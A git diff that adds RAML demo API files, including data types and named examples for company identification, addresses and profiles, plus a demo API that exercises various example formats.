b/demo/apis/examples-api/Address-1.0.raml @@ -0,0 +1,75 @@ +#%RAML 1.0 DataType +displayName: Address +type: object +examples: + BE_Address: !include examples/Address_BE_Example-1.0.raml + GB_Address: !include examples/Address_GB_Example-1.0.raml + NL_Address: !include examples/Address_NL_Example-1.0.raml +properties: + addressType: + description: Specifies the type of address. + type: string + enum: ['TRADING-ADDRESS','REGISTERED-OFFICE-ADDRESS','POSTAL-ADDRESS'] + required: false + building: + description: Building + type: string + required: false + example: "HYGEIA BUILDING" + streetName: + description: Street name + type: string + required: false + example: "College Road" + streetNameAdd1: + description: Street name (part 2) + required: false + type: string + example: "66 68 COLLEGE ROAD" + streetNameAdd2: + description: Street name (part 3) + type: string + required: false + example: "HARROW, MIDDLESEX, HA1 1BE., UNITED KINGDOM" + streetNameAdd3: + description: Street name (part 4) + type: string + required: false + houseNumber: + description: House number + type: string + required: false + houseNumberAddition: + description: House number addition + type: string + required: false + poBoxNumber: + description: P.O Box + type: string + required: false + postalCode: + description: Postal code + type: string + required: false + city: + description: City + type: string + required: false + state: + description: State or province + type: string + required: false + country: + description: Country name + type: string + required: false + countryCode: + description: Country code + type: string + required: false + example: "GB" + fullFormatedAddress: + description: Full formatted address + type: string + required: false + example: "HYGEIA BUILDING, 66 68 COLLEGE ROAD, HARROW, MIDDLESEX, HA1 1BE., UNITED KINGDOM" diff --git a/demo/apis/examples-api/CompanyIdentification-1.0.raml b/demo/apis/examples-api/CompanyIdentification-1.0.raml new file mode 100755 index 0000000..bc9161c --- /dev/null +++ b/demo/apis/examples-api/CompanyIdentification-1.0.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 DataType +displayName: Company identification +description: This object represents the indentification of a company. +type: object +examples: + BE_CompanyId: !include examples/CompanyIdentification_BE_Example-1.0.raml + GB_CompanyId: !include examples/CompanyIdentification_GB_Example-1.0.raml + NL_CompanyId: !include examples/CompanyIdentification_NL_Example-1.0.raml +properties: + countryCode: + description: The country code identifying the country where a company resides. + type: string + minLength: 2 + maxLength: 2 + required: true + graydonEnterpriseId: + description: The unique company identifier issued by Graydon. + type: integer + required: false + example: 1558501924 + registrationId: + description: The unique (legal) company identifier in the country where it resides; a Chamber of Commerce number in the Netherlands, CRO number in the United Kingdom and Company number in Belgium. + required: false + type: string + minLength: 1 + maxLength: 12 + example: "330803480000" + vatNumber: + description: The unique VAT number issued to a company by competent authority in the country where it resides. + type: string + required: false + minLength: 1 + maxLength: 15 + example: "NL004753975B01" + graydonCompanyId: + description: The unique company identifier identifier issued by Graydon. + type: string + minLength: 1 + maxLength: 15 + example: "501924" + required: false + isBranchOffice: + description: Determines if this company is a branch office or not (=head office) + type: boolean + required: false + branchIdentification: + description: Identification of the branch office. + required: false diff --git a/demo/apis/examples-api/CompanyProfile-1.0.raml b/demo/apis/examples-api/CompanyProfile-1.0.raml new file mode 100755 index 0000000..107ca47 --- /dev/null +++ b/demo/apis/examples-api/CompanyProfile-1.0.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 DataType +displayName: Company Profile +description: This object contain all base company data +type: !include CompanyProfileBase-1.0.raml +examples: + BE_Profile: !include examples/CompanyProfile_BE_Example-1.0.raml + GB_Profile: !include examples/CompanyProfile_GB_Example-1.0.raml + NL_Profile: !include examples/CompanyProfile_NL_Example-1.0.raml +properties: + companyIdentification: + type: !include CompanyIdentification-1.0.raml + required: true + companyName: + required: true diff --git a/demo/apis/examples-api/CompanyProfileBase-1.0.raml b/demo/apis/examples-api/CompanyProfileBase-1.0.raml new file mode 100755 index 0000000..54c93e3 --- /dev/null +++ b/demo/apis/examples-api/CompanyProfileBase-1.0.raml @@ -0,0 +1,48 @@ +#%RAML 1.0 DataType +displayName: Company Profile base object +description: This object contain all base company data +type: object +properties: + companyIdentification: + type: !include CompanyIdentification-1.0.raml + required: false + companyName: + description: The official registered company name. Generally a company has only one official registered name; for Beglian companies a company may have two official registered names. + type: string + required: false + alternateCompanyName: + description: The official registered alternate company name. + type: string + required: false + tradeNames: + description: De trade name is the name a company uses to trade. It is mainly used to distinct itself from other companies and has also a publicity value. A company have 0 or more trade names. + type: array + items: string + required: false + companyAddress: + type: array + items: !include Address-1.0.raml + required: false + legalForm: + description: The current legal form + type: object + required: false + isActive: + displayName: Specifies if company is registered as an active company or not + type: string + enum: ['true','false','unknown'] + required: false + foundationDate: + displayName: The foundation date of the company (Derivation of Incorporation date or Establishment date) + type: date-only + required: false + example: 2015-05-24 + dissolutionDate: + displayName: The dissolution date of the company + type: date-only + required: false + example: 2017-03-22 + nonEmailIndicator: + displayName: Company explicitly indicates not to appreciate receiving unsolicited emails + type: boolean + required: false diff --git a/demo/apis/examples-api/contact-email-example.raml b/demo/apis/examples-api/contact-email-example.raml new file mode 100644 index 0000000..6682c26 --- /dev/null +++ b/demo/apis/examples-api/contact-email-example.raml @@ -0,0 +1,6 @@ +- + type: 'GENERAL' + value: 'info@company.be' +- + type: 'IT_DEPT' + value: 'it-service@company.be' diff --git a/demo/apis/examples-api/contact-example.raml b/demo/apis/examples-api/contact-example.raml new file mode 100644 index 0000000..cda3170 --- /dev/null +++ b/demo/apis/examples-api/contact-example.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +- + type: 'GENERAL' + countryDialCode : '+32' + areaCode : '22' + subscriberNumber: '12.87.00' + formatted: '+32-(0)22 000000' diff --git a/demo/apis/examples-api/contact-fax-example.raml b/demo/apis/examples-api/contact-fax-example.raml new file mode 100644 index 0000000..062bff6 --- /dev/null +++ b/demo/apis/examples-api/contact-fax-example.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +- + type: 'GENERAL' + countryDialCode : '+32' + areaCode : '21' + subscriberNumber: '12.87.00' + formatted: '+32-(0)21 302099' diff --git a/demo/apis/examples-api/contact-website-example.raml b/demo/apis/examples-api/contact-website-example.raml new file mode 100644 index 0000000..0805d7f --- /dev/null +++ b/demo/apis/examples-api/contact-website-example.raml @@ -0,0 +1,4 @@ +#%RAML 1.0 NamedExample +- + type: "GENERAL" + value: "www.company.be" diff --git a/demo/apis/examples-api/example-1.raml b/demo/apis/examples-api/example-1.raml new file mode 100644 index 0000000..ab8fcb1 --- /dev/null +++ b/demo/apis/examples-api/example-1.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "BE" +graydonEnterpriseId: 1057155523 +registrationId: "0422319093" +vatNumber: "BE0422319093" +graydonCompanyId: "0422319093" +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/example-2.raml b/demo/apis/examples-api/example-2.raml new file mode 100644 index 0000000..96bd6cb --- /dev/null +++ b/demo/apis/examples-api/example-2.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'UITBREIDINGSTRAAT' + houseNumber: '84' + houseNumberAddition: '/1' + postalCode: '2600' + city: 'BERCHEM (ANTWERPEN)' + country: 'Belgium' + countryCode: 'BE' + fullFormatedAddress: "UITBREIDINGSTRAAT 84 /1, 2600 BERCHEM (ANTWERPEN), BELIUM" +# addressClassification: !include AddressClassification_BE-Example-1.raml \ No newline at end of file diff --git a/demo/apis/examples-api/example-3.raml b/demo/apis/examples-api/example-3.raml new file mode 100644 index 0000000..8f0eed8 --- /dev/null +++ b/demo/apis/examples-api/example-3.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +phoneNumber: !include contact-example.raml +faxNumber: !include contact-fax-example.raml +email: !include contact-email-example.raml +website: !include contact-website-example.raml diff --git a/demo/apis/examples-api/example-4.raml b/demo/apis/examples-api/example-4.raml new file mode 100644 index 0000000..40cbf2d --- /dev/null +++ b/demo/apis/examples-api/example-4.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '5' +description: 'Limited company' \ No newline at end of file diff --git a/demo/apis/examples-api/example-5.raml b/demo/apis/examples-api/example-5.raml new file mode 100644 index 0000000..be280a8 --- /dev/null +++ b/demo/apis/examples-api/example-5.raml @@ -0,0 +1,5 @@ +#%RAML 1.0 NamedExample +class: '3' +description: '150 - 300' +numberOfFte: 5500 +numberOfEmployees: 5232 \ No newline at end of file diff --git a/demo/apis/examples-api/example-6.raml b/demo/apis/examples-api/example-6.raml new file mode 100644 index 0000000..502c2c4 --- /dev/null +++ b/demo/apis/examples-api/example-6.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: 'J' +description: 'Information and communication' \ No newline at end of file diff --git a/demo/apis/examples-api/example-7.raml b/demo/apis/examples-api/example-7.raml new file mode 100644 index 0000000..f2226f5 --- /dev/null +++ b/demo/apis/examples-api/example-7.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +- + code: '7487' + description: 'Financial and insurance activities' + type: "PRIMARY" + classificationCode: 'BE_NACEBEL2008' + activityGroupCode: 'ABCDE' \ No newline at end of file diff --git a/demo/apis/examples-api/example.json b/demo/apis/examples-api/example.json new file mode 100644 index 0000000..0325823 --- /dev/null +++ b/demo/apis/examples-api/example.json @@ -0,0 +1,14 @@ +{ + "id": "R34fg663H9KW9MMSKISI", + "name": "Pawel Psztyc", + "birthday": "1983-10-20", + "gender": "male", + "url": "https://domain.com/profile/pawel.psztyc", + "image": { + "url": "https://domain.com/profile/pawel.psztyc/image", + "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb" + }, + "tagline": "Some text about me.", + "language": "en_GB", + "etag": "\"W\\244m4n5kj3gbn2nj4k4n4\"" +} diff --git a/demo/apis/examples-api/example.xml b/demo/apis/examples-api/example.xml new file mode 100644 index 0000000..2c76be1 --- /dev/null +++ b/demo/apis/examples-api/example.xml @@ -0,0 +1,15 @@ + + + Qawer63J73HJ6khjswuqyq62382jG21s + John Smith + 1990-10-12 + male + https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s + + https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image + https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb + + Hi, I'm John! + en_US + W\\244m4n5kj3gbn2nj4k4n4 + diff --git a/demo/apis/examples-api/example.xsd b/demo/apis/examples-api/example.xsd new file mode 100644 index 0000000..f775497 --- /dev/null +++ b/demo/apis/examples-api/example.xsd @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/demo/apis/examples-api/examples-api.raml b/demo/apis/examples-api/examples-api.raml new file mode 100644 index 0000000..5fbf29f --- /dev/null +++ b/demo/apis/examples-api/examples-api.raml @@ -0,0 +1,313 @@ +#%RAML 1.0 +title: API demo +version: v1 +baseUri: http://api.domain.com/ + +mediaType: application/json + +types: + ScalarType: string + ScalarArray: string[] + ArrayType: + type: array + items: Image + UnionType: Image | Imgs + ScalarWithExample: + type: number + example: 5 + ScalarArrayWithExample: + type: number[] + example: [1, 5] + SimpleInlineExample: + type: object + properties: + testProperty: boolean + example: + testProperty: true + Image: + type: object + properties: + url: string + thumb: string + Imgs: + properties: + something: string + images: + type: Image[] + xml: + wrapped: true + Person: + properties: + error?: + type: boolean + xml: + attribute: true + id: + type: string | number + name: string + birthday: date-only + gender: + type: string + examples: + Male: male + Female: female + url: string + tagline: string + language: + type: string + default: PL + etag: + type: string + example: etag example + image: + type: object + properties: + url: string + thumb: string + opt?: Image | string + example: + error: false + id: 1234 + name: Pawel Psztyc + birthday: 20-10-1983 + tagline: Test example + url: https://domain.com + language: PL + etag: test + image: + url: https://image.com + thumb: https://image.com/thumb + JsonExampleInclude: + type: Person + example: !include example.json + XmlExampleInclude: + type: Person + example: !include example.xml + PropertyExamples: + properties: + xtra: + type: string + xml: + attribute: true + firstName: + type: string + example: Pawel + lastName: + type: string + example: Psztyc + address: Address + num: number + int: integer + bool: boolean + defVal: + type: integer + default: 10 + example: 1 + Address: + properties: + street: string + zip: + type: string + example: "94100" + default: "00000" + house: + type: number + example: 1 + TypeExamples: + properties: + firstName: string + lastName: string + example: + firstName: Pawel + lastName: Psztyc + ArrayTypeWithExample: + type: array + items: Image + example: [{"url": "url 1", "thumb": "thumb 1"}] + TypeWithExampleWithLinks: + type: !include type-with-linked-examples.raml + Users: !include users-raml-example.raml + UsersJson: !include users-json-example.raml + User: !include user-raml-example.raml + UserJson: !include user-json-example.raml +/IncludedInType: + post: + body: + application/json: + type: Person + application/xml: + type: Person +/IncludedInline: + post: + body: + application/json: + type: Person + example: + error: false + id: 1234 + name: Inline person + birthday: 01-01-1990 + tagline: Test example + url: https://domain.com + language: PL + etag: test + image: + url: https://image.com + thumb: https://image.com/thumb + application/xml: + type: !include example.xsd + example: !include example.xml +/IncludedInlineJson: + post: + body: + application/json: + type: !include user.raml + example: !include user.json +/typeExamples: + post: + body: + application/json: + type: TypeExamples + application/xml: + type: TypeExamples +/propertyExamples: + post: + body: + application/json: + type: PropertyExamples + application/xml: + type: PropertyExamples +/arrayTypeExample: + post: + body: + application/json: + type: TypeExamples[] +/arrayPropertyExamples: + post: + body: + application/json: + type: PropertyExamples[] + application/xml: + type: PropertyExamples[] +/arrayPropertyGeneratedExamples: + post: + body: + application/json: + type: array + items: + properties: + test: boolean + other: string + application/xml: + type: array + items: + properties: + test: boolean + other: string +/wrappedXml: + post: + body: + application/xml: + type: Imgs +/inline-property-example: + post: + body: + application/json: + type: object + properties: + limit: number + items: + type: string[] + example: [test, other] + application/xml: + type: object + properties: + limit: number + items: + type: string[] + example: [test, other] +/union: + post: + body: + application/json: + type: Person | PropertyExamples + application/xml: + type: Person | PropertyExamples +/scalar: + post: + body: + application/json: + type: integer +/scalarWithExample: + post: + body: + application/json: + type: integer + example: 1 +/arrayScalar: + post: + body: + application/json: + type: array + items: [number] +/arrayScalarWithExample: + post: + body: + application/json: + type: array + items: [number] + example: [1, 2, 3] +/user-raml-example: + post: + body: + application/json: + type: !include user-raml-example.raml + examples: + User 3: + id: uid3 + username: ppsztyc + firstName: Pawel + lastName: Psztyc + profilePhoto: https://img/domain.com/ppsztyc + email: ppsztyc@domain.com + User 4: + id: uid4 + username: jdoe + firstName: John + lastName: Does + profilePhoto: https://img/domain.com/jdoe + email: jdoe@domain.com + application/xml: + type: !include user-raml-example.raml +/user-json-example: + post: + body: + application/json: + type: !include user-json-example.raml +/users-raml-example: + post: + body: + application/json: + type: !include users-raml-example.raml + application/xml: + type: !include users-raml-example.raml +/users-json-example: + post: + body: + application/json: + type: !include users-json-example.raml +/named-example: + post: + body: + application/json: + example: !include named-example.raml + application/xml: + example: !include named-example.raml +/named-linked-example: + post: + body: + application/json: + type: TypeWithExampleWithLinks + example: !include named-example-with-link.raml + application/xml: + example: !include named-example-with-link.raml diff --git a/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml new file mode 100755 index 0000000..6b52bb6 --- /dev/null +++ b/demo/apis/examples-api/examples/Address_BE_Example-1.0.raml @@ -0,0 +1,10 @@ +#%RAML 1.0 NamedExample +addressType: 'REGISTERED-OFFICE-ADDRESS' +streetName: 'UITBREIDINGSTRAAT' +houseNumber: '1' +houseNumberAddition: '/1' +postalCode: '1234' +city: 'BERCHEM (ANTWERPEN)' +country: 'Belgium' +countryCode: 'BE' +fullFormatedAddress: "UITBREIDINGSTRAAT 1 /1, 1234 BERCHEM (ANTWERPEN), BELGIUM" diff --git a/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml new file mode 100755 index 0000000..5b2b53b --- /dev/null +++ b/demo/apis/examples-api/examples/Address_GB_Example-1.0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample +addressType: 'REGISTERED-OFFICE-ADDRESS' +building: 'FITZWILLIAMHOUSE BUILDING' +streetName: '128 St Marry Axe' +streetNameAdd1: '128 St Marry Axe, EP1 1BE' +country: 'United Kingdom' +countryCode: 'GB' +fullFormatedAddress: 'FITZWILLIAMHOUSE BUILDING, 128 St Marry Axe, London, EP1 1BE' diff --git a/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml new file mode 100755 index 0000000..1f93890 --- /dev/null +++ b/demo/apis/examples-api/examples/Address_NL_Example-1.0.raml @@ -0,0 +1,8 @@ +#%RAML 1.0 NamedExample +addressType: 'REGISTERED-OFFICE-ADDRESS' +streetName: 'HULLENBERGWEG' +houseNumber: '250' +city: 'AMSTERDAM ZUIDOOST' +country: 'Netherlands' +countryCode: 'NL' +fullFormatedAddress: 'HULLENBERGWEG 250, 1101BV AMSTERDAM ZUIDOOST' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml new file mode 100755 index 0000000..40b3ba0 --- /dev/null +++ b/demo/apis/examples-api/examples/Addresses_BE_Example-1.0.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'UITBREIDINGSTRAAT' + houseNumber: '1' + houseNumberAddition: '/1' + postalCode: '1234' + city: 'BERCHEM (ANTWERPEN)' + country: 'Belgium' + countryCode: 'BE' + fullFormatedAddress: "UITBREIDINGSTRAAT 1 /1, 1234 BERCHEM (ANTWERPEN), BELGIUM" diff --git a/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml new file mode 100755 index 0000000..8ade8a7 --- /dev/null +++ b/demo/apis/examples-api/examples/Addresses_GB_Example-1.0.raml @@ -0,0 +1,9 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + building: 'FITZWILLIAMHOUSE BUILDING' + streetName: '128 St Marry Axe' + streetNameAdd1: '128 St Marry Axe, EP1 1BE' + country: 'United Kingdom' + countryCode: 'GB' + fullFormatedAddress: 'FITZWILLIAMHOUSE BUILDING, 128 St Marry Axe, London, EP1 1BE' diff --git a/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml new file mode 100755 index 0000000..dac0b3d --- /dev/null +++ b/demo/apis/examples-api/examples/Addresses_NL_Example-1.0.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 NamedExample +- #Item 1 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'HULLENBERGWEG' + houseNumber: '250' + city: 'AMSTERDAM ZUIDOOST' + country: 'Netherlands' + countryCode: 'NL' + fullFormatedAddress: 'HULLENBERGWEG 250, 1101BV AMSTERDAM ZUIDOOST' +- #Item 2 + addressType: 'REGISTERED-OFFICE-ADDRESS' + streetName: 'MYSTREET' + houseNumber: '000' + city: 'AMSTERDAM ZUIDOOST' + country: 'Netherlands' + countryCode: 'NL' + fullFormatedAddress: 'MYSTREET 000, 1101BV AMSTERDAM ZUIDOOST' diff --git a/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml new file mode 100755 index 0000000..ab8fcb1 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_BE_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "BE" +graydonEnterpriseId: 1057155523 +registrationId: "0422319093" +vatNumber: "BE0422319093" +graydonCompanyId: "0422319093" +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml new file mode 100755 index 0000000..d4dc6cc --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_GB_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "GB" +graydonEnterpriseId: 1095695225 +registrationId: '00363849' +vatNumber: 'GB238749129' +graydonCompanyId: '00363849' +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml new file mode 100755 index 0000000..82ab056 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_BranchId_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "NL" +graydonEnterpriseId: 1000095065 +registrationId: "330803480000" +vatNumber: "NL004753975B01" +graydonCompanyId: "501924" +isBranchOffice: true diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml new file mode 100755 index 0000000..e5d97b0 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_Example-1.0.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "NL" +graydonEnterpriseId: 199990000 +registrationId: "110773422000" +vatNumber: "NL10375009A000" +graydonCompanyId: "501924" +isBranchOffice: false diff --git a/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml new file mode 100755 index 0000000..396cd7d --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyIdentification_NL_GY-Holding_Example-1.0.raml @@ -0,0 +1,6 @@ +#%RAML 1.0 NamedExample +countryCode: "NL" +graydonEnterpriseId: 112321 +registrationId: "9876543" +vatNumber: "NL123456789" +isBranchOffice: false diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml new file mode 100755 index 0000000..40cbf2d --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyLegalForm_BE_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '5' +description: 'Limited company' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml new file mode 100755 index 0000000..2ca1a5d --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyLegalForm_GB_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '9' +description: 'Private Limited Company' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml new file mode 100755 index 0000000..c87c916 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyLegalForm_NL_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +code: '10' +description: 'Public Limited Company' \ No newline at end of file diff --git a/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml new file mode 100755 index 0000000..9ac2632 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyProfile_BE_Example-1.0.raml @@ -0,0 +1,14 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_BE_Example-1.0.raml +companyName: 'ACME BE' +alternateCompanyName: 'ACME ALT NV' +tradeNames: + - 'ACME' + - 'ACM' + - 'IT FACILITY MANAGEMENT' +companyAddress: !include Addresses_BE_Example-1.0.raml +legalForm: !include CompanyLegalForm_BE_Example-1.0.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: true diff --git a/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml new file mode 100755 index 0000000..25acd9b --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyProfile_GB_Example-1.0.raml @@ -0,0 +1,11 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_GB_Example-1.0.raml +companyName: 'ACME UK LIMITED' +tradeNames: + - 'ACME' +companyAddress: !include Addresses_GB_Example-1.0.raml +legalForm: !include CompanyLegalForm_GB_Example-1.0.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: false diff --git a/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml b/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml new file mode 100755 index 0000000..0a83052 --- /dev/null +++ b/demo/apis/examples-api/examples/CompanyProfile_NL_Example-1.0.raml @@ -0,0 +1,12 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_NL_Example-1.0.raml +companyName: 'ACME NEDERLAND B.V.' +tradeNames: + - 'ACME' + - 'NEDERLANDS ACME' +companyAddress: !include Addresses_NL_Example-1.0.raml +legalForm: !include CompanyLegalForm_NL_Example-1.0.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: false diff --git a/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml b/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml new file mode 100755 index 0000000..b740a65 --- /dev/null +++ b/demo/apis/examples-api/examples/Company_BE_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_BE_Example-1.0.raml +companyProfile: !include CompanyProfile_BE_Example-1.0.raml \ No newline at end of file diff --git a/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml b/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml new file mode 100755 index 0000000..87eecd0 --- /dev/null +++ b/demo/apis/examples-api/examples/Company_GB_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_GB_Example-1.0.raml +companyProfile: !include CompanyProfile_GB_Example-1.0.raml \ No newline at end of file diff --git a/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml b/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml new file mode 100755 index 0000000..b954537 --- /dev/null +++ b/demo/apis/examples-api/examples/Company_NL_Example-1.0.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include CompanyIdentification_NL_Example-1.0.raml +companyProfile: !include CompanyProfile_NL_Example-1.0.raml \ No newline at end of file diff --git a/demo/apis/examples-api/linked-named-example.raml b/demo/apis/examples-api/linked-named-example.raml new file mode 100644 index 0000000..6a047d0 --- /dev/null +++ b/demo/apis/examples-api/linked-named-example.raml @@ -0,0 +1,22 @@ +#%RAML 1.0 NamedExample +companyIdentification: !include example-1.raml +companyName: 'GRAYDON BELGIË NV' +alternateCompanyName: 'GRAYDON BELGIQUE NV' +tradeNames: + - 'GRAYDON' + - 'MARKTSELECT' + - 'CREDITEL' + - 'ACM' + - 'IT FACILITY MANAGEMENT' +companyAddress: !include example-2.raml +contactInformation: !include example-3.raml +legalForm: !include example-4.raml +size: !include example-5.raml +industry: + - !include example-6.raml +activities: !include example-7.raml +isActive: "true" +foundationDate: 1940-07-11 +dissolutionDate: 2007-01-01 +nonEmailIndicator: true +#numberOfBranchOffices: 0 diff --git a/demo/apis/examples-api/named-example-with-link.raml b/demo/apis/examples-api/named-example-with-link.raml new file mode 100644 index 0000000..0a1f0d9 --- /dev/null +++ b/demo/apis/examples-api/named-example-with-link.raml @@ -0,0 +1,3 @@ +#%RAML 1.0 NamedExample +company: !include linked-named-example.raml +startDate: '2000-01-01' diff --git a/demo/apis/examples-api/named-example.raml b/demo/apis/examples-api/named-example.raml new file mode 100644 index 0000000..ab8fcb1 --- /dev/null +++ b/demo/apis/examples-api/named-example.raml @@ -0,0 +1,7 @@ +#%RAML 1.0 NamedExample +countryCode: "BE" +graydonEnterpriseId: 1057155523 +registrationId: "0422319093" +vatNumber: "BE0422319093" +graydonCompanyId: "0422319093" +isBranchOffice: false \ No newline at end of file diff --git a/demo/apis/examples-api/type-with-linked-examples.raml b/demo/apis/examples-api/type-with-linked-examples.raml new file mode 100644 index 0000000..f2af456 --- /dev/null +++ b/demo/apis/examples-api/type-with-linked-examples.raml @@ -0,0 +1,15 @@ +#%RAML 1.0 DataType +type: object +displayName: Company +description: A company +examples: + BE_Company: !include examples/Company_BE_Example-1.0.raml + GB_Company: !include examples/Company_GB_Example-1.0.raml + NL_Company: !include examples/Company_NL_Example-1.0.raml +properties: + companyIdentification: + type: !include CompanyIdentification-1.0.raml + required: true + companyProfile: + type: !include CompanyProfile-1.0.raml + required: false diff --git a/demo/apis/examples-api/user-json-example.raml b/demo/apis/examples-api/user-json-example.raml new file mode 100644 index 0000000..a66d0e2 --- /dev/null +++ b/demo/apis/examples-api/user-json-example.raml @@ -0,0 +1,17 @@ +#%RAML 1.0 DataType +type: object +displayName: User (JSON) +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email +example: !include user.json diff --git a/demo/apis/examples-api/user-raml-example.raml b/demo/apis/examples-api/user-raml-example.raml new file mode 100644 index 0000000..9178e93 --- /dev/null +++ b/demo/apis/examples-api/user-raml-example.raml @@ -0,0 +1,37 @@ +#%RAML 1.0 DataType +type: object +displayName: User (RAML) +properties: + id: + displayName: Id + username: + displayName: Username + firstName: + displayName: First Name + lastName: + displayName: Last Name + profilePhoto: + displayName: Profile photo + email: + displayName: Email + age: integer + newsletter: boolean +examples: + User 1: + id: uid1 + username: ppsztyc + firstName: Pawel + lastName: Psztyc + profilePhoto: https://img/domain.com/ppsztyc + email: ppsztyc@domain.com + age: 35 + newsletter: true + User 2: + id: uid2 + username: jdoe + firstName: John + lastName: Does + profilePhoto: https://img/domain.com/jdoe + email: 